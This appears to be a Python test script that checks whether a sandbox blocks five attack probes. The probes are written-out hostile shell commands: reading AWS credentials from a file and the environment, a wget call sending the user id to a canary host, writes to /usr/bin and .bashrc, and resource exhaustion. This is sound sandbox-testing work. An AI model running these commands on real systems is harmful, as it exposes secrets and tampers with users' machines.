#!/usr/bin/env python3 """Run five attack probes inside the execution environment given as argv[1] (off|loose|on). A probe prints ATTACK_SUCCEEDED when the attack worked. The test fails if any probe succeeds.""" import subprocess, sys, pathlib HERE = pathlib.Path(__file__).parent CANARY = "http://172.17.0.1:18080" PROBES = { "read credentials (file or env)": 'test -r "$HOME/.aws/credentials" && cat "$HOME/.aws/credentials" >/dev/null && echo ATTACK_SUCCEEDED; ' 'env | grep -q AWS_SECRET_ACCESS_KEY && echo ATTACK_SUCCEEDED', "call out to attacker URL": f'wget -qO- -T3 "{CANARY}/?d=$(id -u)" >/dev/null 2>&1 && echo ATTACK_SUCCEEDED', "write outside the work dir": 'touch /usr/bin/x 2>/dev/null && echo ATTACK_SUCCEEDED; echo "x" >> "$HOME/.bashrc" 2>/dev/null && echo ATTACK_SUCCEEDED', "start 300 processes": 'p=""; n=0; while [ $n -lt 300 ]; do sleep 4 & p="$p $!"; n=$((n+1)); done 2>/dev/null; ' 'c=0; for i in $p; do kill -0 $i 2>/dev/null && c=$((c+1)); done; ' '[ "$c" -ge 250 ] && echo ATTACK_SUCCEEDED; kill $p 2>/dev/null; true', "allocate 300 MB": 'x=$(head -c 300000000 /dev/zero | tr "\\0" a) && [ ${#x} -gt 299000000 ] && echo ATTACK_SUCCEEDED', } mode = sys.argv[1] failed = 0 for name, cmd in PROBES.items(): p = subprocess.run([str(HERE / "sandbox.sh"), mode, cmd], capture_output=True, text=True) hit = "ATTACK_SUCCEEDED" in p.stdout failed += hit print(f"{'ATTACK SUCCEEDED' if hit else 'blocked '} {name} (exit {p.returncode})") print(f"mode={mode}: {failed} of {len(PROBES)} probes succeeded -> {'FAIL' if failed else 'PASS'}") sys.exit(1 if failed else 0)